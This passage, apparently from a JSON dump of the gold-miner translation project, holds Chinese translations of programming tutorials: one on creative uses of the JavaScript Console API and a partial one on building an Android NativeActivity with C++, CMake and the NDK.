multitasking](https://en.wikipedia.org/wiki/Computer_multitasking)\\\nIbm.com - [Benefits of threads](https://www.ibm.com/support/knowledgecenter/en/ssw_aix_71/com.ibm.aix.genprogc/benefits_threads.htm)\\\nHaskell.org - [Parallelism vs. Concurrency](https://wiki.haskell.org/Parallelism_vs._Concurrency)\\\nStackoverflow - [Can multithreading be implemented on a single processor system?](https://stackoverflow.com/questions/16116952/can-multithreading-be-implemented-on-a-single-processor-system)\\\nHowToGeek - [CPU Basics: Multiple CPUs, Cores, and Hyper-Threading Explained](https://www.howtogeek.com/194756/cpu-basics-multiple-cpus-cores-and-hyper-threading-explained/)\\\nOracle.com - [1.2 What is a Data Race?](https://docs.oracle.com/cd/E19205-01/820-0619/geojs/index.html)\\\nJaka's corner - [Data race and mutex](http://jakascorner.com/blog/2016/01/data-races.html)\\\nWikipedia - [Thread safety](https://en.wikipedia.org/wiki/Thread_safety)\\\nPreshing on Programming - [Atomic vs. Non-Atomic Operations](https://preshing.com/20130618/atomic-vs-non-atomic-operations/)\\\nWikipedia - [Green threads](https://en.wikipedia.org/wiki/Green_threads)\\\nStackoverflow - [Why should I use a thread vs. using a process?](https://stackoverflow.com/questions/617787/why-should-i-use-a-thread-vs-using-a-process)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/getting-creative-with-the-console-api.md",
    "content": "> * 原文地址：[Getting creative with the Console API!](https://areknawo.com/getting-creative-with-the-console-api/)\n> * 原文作者：[Areknawo](https://areknawo.com/author/areknawo/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/getting-creative-with-the-console-api.md](https://github.com/xitu/gold-miner/blob/master/TODO1/getting-creative-with-the-console-api.md)\n> * 译者：[wznonstop](https://github.com/wznonstop)\n> * 校对者：[Tammy-Liu](https://github.com/Tammy-Liu), [ezioyuan](https://github.com/ezioyuan)\n\n# 创意运用 Console API！\n\n在 Javascript 中 **[Console API](https://developer.mozilla.org/en-US/docs/Web/API/Console)** 和 **Debugging** 总是密不可分的，其大多通过 `console.log()` 的方式使用。然而，你知道它不仅仅只有这种使用方法吗？你是否也已经对 `console.log()` 的**单一**输出方式感到厌倦了呢？你是否也想让你的 log 更出色更**优美**吗？ 💅 如果你的你的答案是肯定的话，跟随我，让我们一起发现 Console API 真正的多姿多彩和趣味性！\n\n## [Console.log()](https://developer.mozilla.org/en-US/docs/Web/API/Console/log)\n\n无论你是否相信，`console.log()` 本身还是有一些你可能不知道的额外功能。当然，她的基础目的 — **logging** — 是不变的。我们唯一能做的就是使它更加出色。让我们尝试一下怎么样？ 😁\n\n### String subs\n\n与 `console.log()` 这一方法紧密相关的唯一事情是你可以将它与所谓的 **字符串替换** 一同使用。这基本上就是为你提供了使用字符串特定表达式的选项，然后将其替换为提供的参数。它看起来有点像这样：\n\n```\nconsole.log(\"Object value: %o with string substitution\",\n    {string: \"str\", number: 10});\n```\n\n是不是很棒呢？关键是字符串替换表达式有多种变化：\n\n*   **%o / %O** — 用于对象;\n*   **%d / %i** — 用于整数;\n*   **%s** — 用于字符串;\n*   **%f** — 用于浮点数;\n\n但是，看了上面这些，你可能要问，为什么要使用这样一个特征？尤其是当你可以简单的传递多个值给 log 的时候，如下所示：\n\n```\nconsole.log(\"Object value: \",\n    {string: \"str\", number: 10},\n    \" with string substitution\");\n```\n\n此外，对于字符串和数字，你可以只使用 **字符串字面值**！那么，有什么问题呢？首先，我将讲一下当你做一些不错的 console log 时，你只需要一些不错的字符串，log subs 可以允许你轻松做到这一点。至于上文所讲的字符串替换 — 你必须认同的是 — 你需要睁大眼睛看看这些空间。🛸 使用 subs，它更方便。至于字符串字面值，他们并没有像这些 subs 一样长（惊喜！🤯），并且他们不会为对象提供相同的，良好的格式。但是，只要你只使用数字和字符串，你可能更倾向于 **一个不同的方法**。\n\n### CSS\n\n我们再学一种以往尚未学过的类子字符串编译指令，就是 **%c**，它允许你应用 **css 风格的** 字符串去记录信息！😮 让我来为你们展示下如何使用！\n\n```\nconsole.log(\"Example %cCSS-styled%c %clog!\",\n    \"color: red; font-family: monoscope;\",\n    \"\", \"color: green; font-size: large; font-weight: bold\");\n```\n\n上面的例子是 %c 指令的广泛应用。正如你所见到的那样，样式应用于处在该编译指令 **后面** 的所有内容，除非你使用其他的编译指令，而这是我们正要做的。如果你使用普通的无样式的 log 格式，你将需要传递一个空字符串。不言而喻，这个提供给 %c 编译指令和子字符串的值需要按照预期的顺序一个一个地提交给下一步的参数。 😉\n\n## Grouping & tracing\n\n我们已经在 log 中引入了 CSS，这仅仅只是一个开始，那么 Console API 还有哪些秘密呢？\n\n### Grouping\n\n加入过多的 console log 并不是很健康，它可能导致更糟糕的可读性，从而出现无意义的 log 的情形。然而适当地建立一些 **结构** 总是好的。你可以通过使用 `[console.group()](https://developer.mozilla.org/en-US/docs/Web/API/Console/group)` 的方法精准地实现。通过使用该方法，你可以在 console group 中创建深层次的、可折叠的结构，这允许你隐藏并组织你的 log。如果你希望在默认情况下将 log group 折叠，还有一个方法是使用 `[console.groupCollapsed()](https://developer.mozilla.org/en-US/docs/Web/API/Console/groupCollapsed)`。当然，console group 可以根据你的需要进行嵌套（就像你想的那样）。你还可以通过向其传递参数列表来使得你的 log group 具有类 header-log（就像使用 console.log()）。在调用 log group 方法后完成，每个控制台调用都将在创建的组中找到它的位置。要退出的话，需要使用一个特殊的方法叫做 `[console.groupEnd()](https://developer.mozilla.org/en-US/docs/Web/API/Console/groupEnd)`。很简单，对吗？😁\n\n```\nconsole.group();\nconsole.log(\"Inside 1st group\");\nconsole.group();\nconsole.log(\"Inside 2nd group\");\nconsole.groupEnd();\nconsole.groupEnd();\nconsole.log(\"Outer scope\");\n```\n\n我想你已经注意到，你只需将所有提供的代码段中的代码 复制并粘贴 到你的控制台，然后以你想要的方式使用它们！\n\n### Tracing\n\n另外一个关于 Console API 的有用的信息是获取当前调用的路径（**执行路径**/**堆栈跟踪**）。你知道吗，代码列表通过放置了被执行的链接（例如函数链接）去获取当前的调用 `[console.trace()](https://developer.mozilla.org/en-US/docs/Web/API/Console/trace)`，这也正式是我们所谈论的方法。无论是检测副作用还是检查代码流，这些信息都非常有用。只需将下面的代码放到你的代码中，你就明白我说的意思啦。\n\n```\nconsole.trace(\"Logging the way down here!\");\n```\n\n## Console.XXX\n\n你可能已经了解了一些关于 Console API 的不同方法。我将要讲的这些能够给你的 logs 增添一些 **额外的信息**。让我们快速的概括一下它们，好吗？\n\n### Warning\n\n`[console.warn()](https://developer.mozilla.org/en-US/docs/Web/API/Console/warn)` 这一方法操作起来就像 console.log（就像大多数这些 logging 方法一样）。但是，它还具有 **类似警告的样式**。⚠ 在大多数浏览器中，它应该是 **黄色** 的并且在有一个警告符号（出于自然因素）。默认情况下，对此方法的调用也会返回跟踪，因此你可以快速找到警告（以及可能的错误）的来源。\n\n```\nconsole.warn(\"This is a warning!\");\n```\n\n### Error\n\n`[console.error()](https://developer.mozilla.org/en-US/docs/Web/API/Console/error)`这一方法与 console.warn() 输出具有堆栈跟踪的消息类似，具有特殊的样式。它通常是 **红色** 的，添加了错误图标。❌ 它清楚地通知用户某些事情是不对的。一个重要的知识点是 .error（）这个方法输出的只是一个没有任何附加选项的控制台消息，类似于停止代码执行（为此你需要抛出一个错误）。它 **只是一个简单的说明**，因为许多新使用者可能会对这种操作感到有些不确定性。\n\n```\nconsole.error(\"This is an error!\");\n```\n\n### Info & debug\n\n还有两种方法可用于向 logs 添加一些指令：`[console.info()](https://developer.mozilla.org/en-US/docs/Web/API/Console/info)` 和 `[console.debug()](https://developer.mozilla.org/en-US/docs/Web/API/Console/debug)`。 🐞 运用这两种方式输出的内容并不总是具有独特的风格，在某些浏览器中它只是一个信息图标。这些和上文提及的其他方法都允许你在你的控制台消息中应用某一特定的类别。在不同的浏览器中（例如基于 Chromium 的浏览器中），dev-tools UI 为你提供了选项，可以选择显示的特定类别的 log，例如错误，调试消息或信息。这只是一个组织功能！\n\n```\nconsole.info(\"This is very informative!\");\nconsole.debug(\"Debugging a bug!\");\n```\n\n### Assert\n\n还有一个特别的 Console API 方法，它为你在任何条件下进行 log（**断言**）提供了捷径。它就是 `[console.assert()](https://developer.mozilla.org/en-US/docs/Web/API/Console/assert)`。就像标准的 console.log() 方法一样，它可以采用无数个参数，不同的是它的第一个参数需要是布尔值。如果它解析为 true，则断言不会被 log，否则，它会将错误和传入的参数在控制台中 log 出来（与 .error（）方法相同）。\n\n```\nconsole.assert(true, \"This won't be logged!\");\nconsole.assert(false, \"This will be logged!\");\n```\n\n而且，在使用大量的 log 方法之后，你可能希望让你的控制台消息板看起来更整洁一些。没问题！只需使用 `[console.clear()](https://developer.mozilla.org/en-US/docs/Web/API/Console/clear)` 这一方法，即可看到所有之前 log 的信息消失！这是一个非常有用的功能，它甚至在大多数浏览器的控制台界面中都有自己的按钮（和快捷方式）！\n\n## Timing\n\nConsole API 甚至提供了一组与定时器相关的功能。⌚ 在他们的帮助下，你可以对部分代码快速地进行性能测试。正如我之前所说，这个 API 很简单。你可以使用这一方法 `[console.time()](https://developer.mozilla.org/en-US/docs/Web/API/Console/time)`，将可选参数作为标签或者 id 赋给定时器。当你进行调用的时候定时器便启动了。然后你可以使用 `[console.timeLog()](https://developer.mozilla.org/en-US/docs/Web/API/Console/timeLog)` 和 `[console.timeEnd()](https://developer.mozilla.org/en-US/docs/Web/API/Console/timeEnd)` 这两种方法（带有可选的标签参数）来 log 你的时间（以毫秒为单位）以及结束定时器。\n\n```\nconsole.time();\n// code snippet 1\nconsole.timeLog(); // default: [time] ms\n// code snippet 2\nconsole.timeEnd(); // default: [time] ms\n```\n\n当然，如果你正在进行一些真正的基准测试或性能测试，我建议使用专门为此目的而设计的 **[Performance API](https://developer.mozilla.org/en-US/docs/Web/API/Performance_API)**。\n\n## Counting\n\n如果你有很多的 log，而你不知道这部分被执行的代码出现了多少次 log，你已经猜到了！接下来这个 API 可以解决这个问题！`[console.count()](https://developer.mozilla.org/en-US/docs/Web/API/Console/count)` 这一方法可能是最基础的东西，它可以计算被调用的次数。当然，你可以传递一个可选参数作为计数器的标签（设定默认值）。稍后，你可以使用 `[console.countReset()](https://developer.mozilla.org/en-US/docs/Web/API/Console/countReset)` 这一方法重置所选计数器。\n\n```\nconsole.count(); // default: 1\nconsole.count(); // default: 2\nconsole.count(); // default: 3\nconsole.countReset();\nconsole.count(); // default: 1\n```\n\n就个人而言，我没有看到很多对这个特殊功能的运用，但这样的方法存在总是好的。也许只是我的一己之见...\n\n## Tables\n\n我认为这是 Console API 最被低估的功能之一（超过之前提到的 CSS 样式）。👏 当调试和检查平面或二维对象和数组时，向控制台输出真实的、可排序的表格这一能力是非常有用的。是的，你真的可以在控制台中显示一个表格。它只需使用带有一个参数的简单调用 `[console.table()](https://developer.mozilla.org/en-US/docs/Web/API/Console/table)`，该参数很可能是对象或数组（原始值通常只是正常的 log，超过 2 维结构将被截断为较小的对应物。只需试一下如下的代码来来看一下我想表达的意思！\n\n```\nconsole.table([[0,1,2,3,4], [5,6,7,8,9]]);\n```\n\n## Console ASCII art\n\n如果没有 ASCII art，console art 就不一样了！借助 **[image-to-ascii](https://github.com/IonicaBizau/image-to-ascii)** 模块（可以在 **[NPM](https://www.npmjs.com/package/image-to-ascii)** 上找到），你可以轻松地将普通图像转换为 ASCII 对应模块！🖼 除此之外，该模块还提供了许多可自定义的设置和选项，用以创建你所需的输出。以下是使用该库的简单示例：\n\n```\nimport imageToAscii from \"image-to-ascii\";\n\nimageToAscii(\n\"https://d2vqpl3tx84ay5.cloudfront.net/500x/tumblr_lsus01g1ik1qies3uo1_400.png\",\n{\n    colored: false,\n}, (err, converted) => {\n    console.log(err || converted);\n});\n```\n\n使用上面的代码，你可以创建令人惊叹的 JS 徽标，就像你现在在控制台中创建的徽标一样！ 🤯\n\n借助 CSS 样式，一些填充和背景属性，你也可以将完整的图像输出到控制台！例如，你可以查看 **[console.image](https://github.com/adriancooney/console.image)** 模块（也可以在 **[NPM](https://www.npmjs.com/package/console.image)** 上使用）来使用此功能。但是，我认为 ASCII 更加时尚。 💅\n\n## Modern logs\n\n如你所见，你的 logs 和调试过程整体上不必如此单调！除了简单的 console.log() 之外，还有更多的好方法。有了这篇文章中的知识，选择权现在就在你的手里！你可以使用传统的 console.log() 这一方法和你的浏览器提供的各种精美款样式的结构，或者你可以使用上文描述的技巧为你的控制台增添一些新意。浏览器提供的不同结构的传统和精美格式，或者你可以使用上述技术为控制台添加一些新鲜感。无论如何，即使你正在和讨厌的 bug 🐞 斗争，你也要找到其中的乐趣！\n\n我希望你喜欢这篇文章，它可以让你学到新东西。和往常一样，可以考虑与他人分享，让每个人都可以让他们的控制台充满色彩 🌈 ，并通过反馈或评论将你的意见留在下面！此外，请关注我的 **[Twitter](https://twitter.com/areknawo)** 和 **[Facebook](https://www.facebook.com/areknawoblog)** 上，并注册 newsletter（即将登场）！再次，感谢阅读，希望在下一篇文章中依旧看到你的身影！✌\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/getting-started-with-c-and-android-native-activities.md",
    "content": "> * 原文地址：[Getting Started with C++ and Android Native Activities](https://medium.com/androiddevelopers/getting-started-with-c-and-android-native-activities-2213b402ffff)\n> * 原文作者：[Patrick Martin](https://medium.com/@pux0r3)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/getting-started-with-c-and-android-native-activities.md](https://github.com/xitu/gold-miner/blob/master/TODO1/getting-started-with-c-and-android-native-activities.md)\n> * 译者：[Feximin](https://github.com/Feximin)\n> * 校对者：[twang1727](https://github.com/twang1727)\n\n# C++ 和 Android 本地 Activity 初探\n\n### 简介\n\n我会带你完成一个简单的 Android 本地 Activity。我将介绍一下基本的设置，并尽力将进一步学习所需的工具提供给你。\n\n虽然我的重点是游戏编程，但我不会告诉你如何写一个 OpenGL 应用或者如何构建一款自己的游戏引擎。这些东西得写整本书来讨论。\n\n### 为什么用 C++\n\n在 Android 上，系统及其所支持的基础设施旨在支持那些用 Java 或 Kotlin 写的程序。用这些语言编写的程序得益于深度嵌入系统底层架构的工具。Android 系统很多核心的特性，比如 UI 界面和 Intent 处理，只通过 Java 接口公开。\n\n使用 C++ 并不会比 Kotlin 或 Java 这类语言对 Android 来说更“本地化”。与直觉相反，你通过某种方式编写了一个只有 Android 部分特性可用的程序。对于大多数程序，Koltin 这类语言会更合适。\n\n然而此规则有一些意外情况。对我来说最接近的就是游戏开发。由于游戏一般会使用自定义的渲染逻辑（通常使用 OpenGL 或 Vulkan 编写），所以预计游戏看起来会与标准的 Android 程序不同。当你还考虑到 C 和 C++ 几乎在所有平台上都通用，以及相关的支持游戏开发的 C 库时，使用本地开发可能更合理。\n\n如果你想从头开始或者在现有游戏的基础上开发一款游戏，Android 本地开发包（NDK）已备好待用。实际上，即将展示给你的本地 activity 提供了一键式操作，你可以在其中设置 OpenGL 画布并开始收集用户的输入。你可能会发现，尽管 C 有学习成本，但使用 C++ 解决一些常见代码难题，比如从游戏数据中构建顶点属性数组，会比用高级语言更容易。\n\n### 我不打算讲的内容\n\n我不会告诉你如何初始化 [Vulkan](https://www.khronos.org/vulkan/) 或 [OpenGL](https://www.khronos.org/opengles/) 的上下文。尽管我会给一些提示让你学习的轻松一点，但还是建议你阅读 Google 提供的[示例](https://github.com/googlesamples/android-ndk/)。你也可以选择使用类似 [SDL](https://www.libsdl.org/) 或者 Google 的 [FPLBase](https://google.github.io/fplbase/) 这样的库。\n\n### 设置你的 IDE\n\n首先需要确保你已经安装了本地开发所需的内容。为此，我们需要用到 Android NDK。启动 Android Studio：\n\n![](https://cdn-images-1.medium.com/max/800/0*PA-Xq6EqB-lE3jrt)\n\n在 “Configure” 下面选择 “SDK Manager”：\n\n![](https://cdn-images-1.medium.com/max/800/0*XkTYhsrl0frw9d1A)\n\n从这里安装 LLDB（本地调试器）、CMake（构建系统）和 NDK 本身：\n\n![](https://cdn-images-1.medium.com/max/800/0*Uy97JiOnnh2aar8b)\n\n### 创建工程\n\n到此你已经设置好了所有内容，我们将建一个工程。我们想创建一个没有 Activity 的空工程：\n\n![](https://cdn-images-1.medium.com/max/800/0*5gtGSseWGEljglcK)\n\nNativeActivity 自 Android Gingerbread 开始就有了，如果你刚开始学习，建议选择当前可用的最高目标版本。\n\n![](https://cdn-images-1.medium.com/max/800/0*EHxm6XZy9PFoX1BJ)\n\n现在我们需要建一个 CmakeLists.txt 文件来告诉 Android 如何构建我们的 C++ 工程。在工程视图下右击 app 创建一个新文件：\n\n![](https://cdn-images-1.medium.com/max/800/0*3174Sy0lsdV_izN8)\n\n命名为 CMakeLists.txt：\n\n![](https://cdn-images-1.medium.com/max/800/0*UjYrafAf-GIjfcp1)\n\n创建一个简单的 CMake 文件：\n\n```cmake\ncmake_minimum_required(VERSION 3.6.0)\n\nadd_library(helloworld-c\n    SHARED\n    \n    src/main/cpp/helloworld-c.cpp)\n```\n\n我们声明了在 Android Studio 中使用最新版本的 CMake（3.6.0），将构建一个名为 hellworld-c 的共享库。我还添加了一个必须要创建的源文件。\n\n为什么是共享库而不是可执行文件呢？Android 使用一个名为 Zygote 的进程来加速在 Android Runtime 内部启动的应用或服务的过程。这对 Android 内所有面向用户的进程都适用，因此你的代码首次运行的地方是在一个虚拟机内。然后代码必须加载一个含有你的逻辑的共享库文件，如果你使用了本地 Activity，该共享库将为你处理。与之相反，当构建一个可执行文件时，我们希望操作系统直接加载你的程序并运行一个名为 “main” 的 C 方法。在 Android 里也有可能，但是我还没找到这方面的任何实践用途。\n\n现在创建 C++ 文件：\n\n![](https://cdn-images-1.medium.com/max/800/0*3bEdMVWFetPHaLh8)\n\n将其放入我们在 make 文件内指定的目录下：\n\n![](https://cdn-images-1.medium.com/max/800/1*0RgvGlIX1A5qXOO-W5K0Zw.png)\n\n再加入少量内容以告诉我们是否构建成功：\n\n```cpp\n//\n// Created by Patrick Martin on 1/30/19.\n//\n\n#include <jni.h>\n```\n\n最后让我们把这个 C++ 工程链接到我们的应用上：\n\n![](https://cdn-images-1.medium.com/max/800/0*peP9yeLNekk5o0Yg)\n\n![](https://cdn-images-1.medium.com/max/800/0*Rkx1eC_6gH0nZ1N5)\n\n如果一切顺利，工程会更新成功：\n\n![](https://cdn-images-1.medium.com/max/800/0*gbNXngCYA7e990Vn)\n\n然后你可以不出错地执行一次构建操作：\n\n![](https://cdn-images-1.medium.com/max/800/0*SpKDW8ZXatIV2ioE)\n\n至于在你的构建脚本中发生了什么变化，如果你打开 app 下的 build.gradle 文件，你会看到 `externalNativeBuild`：\n\n```gradle\nandroid {\n    compileSdkVersion 28\n    defaultConfig {\n        applicationId \"com.pux0r3.helloworldc\"\n        minSdkVersion 28\n        targetSdkVersion 28\n        versionCode 1\n        versionName \"1.0\"\n        testInstrumentationRunner \"android.support.test.runner.AndroidJUnitRunner\"\n    }\n    buildTypes {\n        release {\n            minifyEnabled false\n            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'\n        }\n    }\n    externalNativeBuild {\n        cmake {\n        path file('CMakeLists.txt')\n        }\n    }\n}\n```\n\n### 创建一个本地 Activity\n\n一个 Activity 是 Android 用来显示你的应用的用户界面的基本窗口。通常你会用 Java 或 Kotlin 编写一个继承自 Activity 的类，但是 Google 创建了一个等价的用 C 写的本地 Activity。\n\n### 设置你的构建文件\n\n创建一个本地 Activity 最好的方式是包含 `native_app_glue`。很多示例程序将其从 SDK 拷贝至他们的工程中。这没什么错，但是我个人更愿意将其做为我的游戏可以依赖的库。我把它做成静态库，所以不需要动态库调用的额外开销：\n\n```cmake\ncmake_minimum_required(VERSION 3.6.0)\n\nadd_library(native_app_glue STATIC\n    ${ANDROID_NDK}/sources/android/native_app_glue/android_native_app_glue.c)\ntarget_include_directories(native_app_glue PUBLIC\n    ${ANDROID_NDK}/sources/android/native_app_glue)\n\nfind_library(log-lib\n    log)\n\nset(CMAKE_SHARED_LINKER_FLAGS \"${CMAKE_SHARED_LINKER_FLAGS} -u ANativeActivity_onCreate\")\nadd_library(helloworld-c SHARED\n    src/main/cpp/helloworld-c.cpp)\n\ntarget_link_libraries(helloworld-c\n    android\n    native_app_glue\n    ${log-lib})\n```\n\n这里有不少事情要做，我们继续。首先用 `add_library` 建了一个名为 `native_app_glue` 的库并把它标记为一个 `STATIC` 的库。然后在 NDK 的安装路径下查找自动生成的环境变量 `${ANDROID_NDK}` 从而来寻找一些文件。如此，我找到了 native_app_glue 的实现：`android_native_app_glue.c`。\n\n将代码与目标关联后，我想说一下目标是在哪里找到它的头文件的。我使用 `target_include_directories` 将包含它的所有头文件的文件夹包含进来并将设置为 `PUBLIC`。其他选项还有 `INTERNAL` 或 `PRIVATE` 但目前还用不到。有些教程可能会用 `include_directories` 代替 `target_include_directories`。这是一种较早的做法。最近的 `target_include_directories` 可以让你的目录关联到目标，这有助于降低较大工程的复杂性。\n\n现在，我想在在 Android 的 Logcat 中打印一些内容。只使用与普通 C 或 C++ 应用中那样的标准的输出（如：`std::cout` 或 `printf`）是无效的。使用 `find_library` 去定位 `log`，我们缓存了 Android 的日志库以便稍后使用。\n\n最后我们通过 target_link_libraries 告诉 CMake，helloworld-c 要依赖 native_app_glue、native_app_glue 和被命名为 log-lib 的库。如此可以在我们的 C++ 工程中引用本地应用的逻辑。在 `add_library` 之前的 `set` 也确保 helloworld-c 不会实现名为 `ANativeActivity_onCreate` 的方法，该方法由 `android_native_app_glue` 提供。\n\n### 写一个简单的本地 Activity\n\n现在一切就绪，构建我们的 app 吧！\n\n```cpp\n//\n// Created by Patrick Martin on 1/30/19.\n//\n\n#include <android_native_app_glue.h>\n#include <jni.j>\n\nextern \"C\" {\nvoid handle_cmd(android_app *pApp, int32_t cmd) {\n}\n    \nvoid android_main(struct android_app *pApp) {\n    pApp->onAppCmd = handle_cmd;\n    \n    int events;\n    android_poll_source *pSource;\n    do {\n        if (ALooper_pollAll(0, nullptr, &events, (void **) &pSource) >= 0) {\n            if (pSource) {\n                pSource->process(pApp, pSource);\n            }\n        }\n    } while (!pApp->destroyRequested);\n}\n}\n```\n\n这里发生了什么？\n\n首先，通过 `extern \"C\"{}`，我们告诉链接器把花括号中的内容当成 C 看待。这里你仍然可以写 C++ 代码，但这些方法在我们程序其余部分看起来都像是 C 方法。\n\n我写了一个小的占位方法 `handle_cmd`。将来其可以作为我们的消息循环。任何的触摸事件、窗口事件都会经过这里。\n\n这段代码最主要的是 `android_main`。当你的应用启动的时候这个方法会被 `android_native_app_glue` 调用。我们首先将 `pApp->onAppCmd` 指向我们的消息循环以便让系统消息有一个可去的地方。\n\n接着我们用 `ALooper_pollAll` 处理所有已排队的系统事件，第一个参数是超时参数。如果上述方法返回的值大于或等于 0，我们需要借助 `pSource` 来处理事件，否则，我们将继续直到应用程序关闭。\n\n现在依然不能运行这个 Activity，却可以随意构建以确保一切正常。\n\n### 在 ApplicationManifest 中添加必需的信息\n\n现在我们需要在 AndroidManifest.xml 填入内容来告诉系统如何运行你的应用。该文件位于 app>manifests>AndroidManfiest.xml：\n\n![](https://cdn-images-1.medium.com/max/800/0*1A_awLp5-K82UG_z)\n\n首先我们告诉系统是哪个本地 Activity（名为 “android.app.NativeActivity”) 并在屏幕方向变化或者键盘状态变化的时候不销毁这个 Activity：\n\n```xml\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.pux0r3.helloworldc\">\n\n    <application\n        android:allowBackup=\"true\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:roundIcon=\"@mipmap/ic_launcher_round\"\n        android:supportsRtl=\"true\"\n        android:theme=\"@style/AppTheme\">\n        <activity android:name=\"android.app.NativeActivity\"\n            android:configChanges=\"orientation|keyboardHidden\"\n            android:label=\"@string/app_name\"></activity>\n    </application>\n</manifest>\n```\n\n然后我们告诉该本地 Activity 去哪里找我们想运行的代码。如果你忘了名字的话，去检查你的 CMakeLists.txt 文件吧！\n\n```xml\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.pux0r3.helloworldc\">\n\n    <application\n        android:allowBackup=\"true\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:roundIcon=\"@mipmap/ic_launcher_round\"\n        android:supportsRtl=\"true\"\n        android:theme=\"@style/AppTheme\">\n        <activity\n            android:name=\"android.app.NativeActivity\"\n            android:configChanges=\"orientation|keyboardHidden\"\n            android:label=\"@string/app_name\">\n            <meta-data\n                android:name=\"android.app.lib_name\"\n                android:value=\"helloworld-c\" />\n        </activity>\n    </application>\n</manifest>\n```\n\n我们还告诉 Android 操作系统这是启动 Activity 也是主 Activity：\n\n```xml\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.pux0r3.helloworldc\">\n\n    <application\n        android:allowBackup=\"true\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:roundIcon=\"@mipmap/ic_launcher_round\"\n        android:supportsRtl=\"true\"\n        android:theme=\"@style/AppTheme\">\n        <activity\n            android:name=\"android.app.NativeActivity\"\n            android:configChanges=\"orientation|keyboardHidden\"\n            android:label=\"@string/app_name\">\n            <meta-data\n                android:name=\"android.app.lib_name\"\n                android:value=\"helloworld-c\" />\n\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\" />\n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n    </application>\n</manifest>\n```\n\n如果一切顺利，你可以点击调试并会看到一个空白窗口！\n\n![](https://cdn-images-1.medium.com/max/800/0*uxFZ9rm7AA3nokHt)\n\n### 准备 OpenGL\n\n在谷歌的示例库中已有优秀的 OpenGL 示例程序了：\n\n- [**googlesamples/android-ndk**: Android Studio 下的 NDK 示例程序。注册账号来为 googlesamples/android-ndk 做出贡献吧](\"https://github.com/googlesamples/android-ndk/tree/master/native-activity\")\n\n我会给你一些有用的提示。首先，为了使用 OpenGL，在你的 CMakeLists.txt 文件中添加以下内容：\n\n![](https://cdn-images-1.medium.com/max/800/0*3yD719x_3mGZ4qAy)\n\n这里你可以对不同的 Android 架构平台做很多处理，但对最近版本的 Android 来说，添加 EGL 和 GLESv3 到你的目标是一个不错的操作。\n\n接下来，我创建了一个名为 `Renderer` 的类来处理渲染逻辑。如果你建了一个类，它用构造器来初始渲染器、用析构器来销毁它、用 `render()` 方法来渲染，那么我建议你的 app 看起来应该像这样：\n\n```cpp\nextern \"C\" {\nvoid handle_cmd(android_app *pApp, int32_t cmd) {\n    switch (cmd) {\n        case APP_CMD_INIT_WINDOW:\n            pApp->userData = new Renderer(pApp);\n            break;\n\n        case APP_CMD_TERM_WINDOW:\n            if (pApp->userData) {\n                auto *pRenderer = reinterpret_cast<Renderer *>(pApp->userData);\n                pApp->userData = nullptr;\n                delete pRenderer;\n            }\n    }\n}\n\nvoid android_main(struct android_app *pApp) {\n    pApp->onAppCmd = handle_cmd;\n    pApp->userData;\n\n    int events;\n    android_poll_source *pSource;\n    do {\n        if (ALooper_pollAll(0, nullptr, &events, (void **) &pSource) >= 0) {\n            if (pSource) {\n                pSource->process(pApp, pSource);\n            }\n        }\n\n        if (pApp->userData) {\n            auto *pRenderer = reinterpret_cast<Renderer *>(pApp->userData);\n            pRenderer->render();\n        }\n    } while (!pApp->destroyRequested);\n}\n}\n```\n\n所以，我所做的第一件事就是在 `android_app` 使用名为 `userData` 的字段。你可以在这里存储任何你想存储的东西，每一个 `android_app` 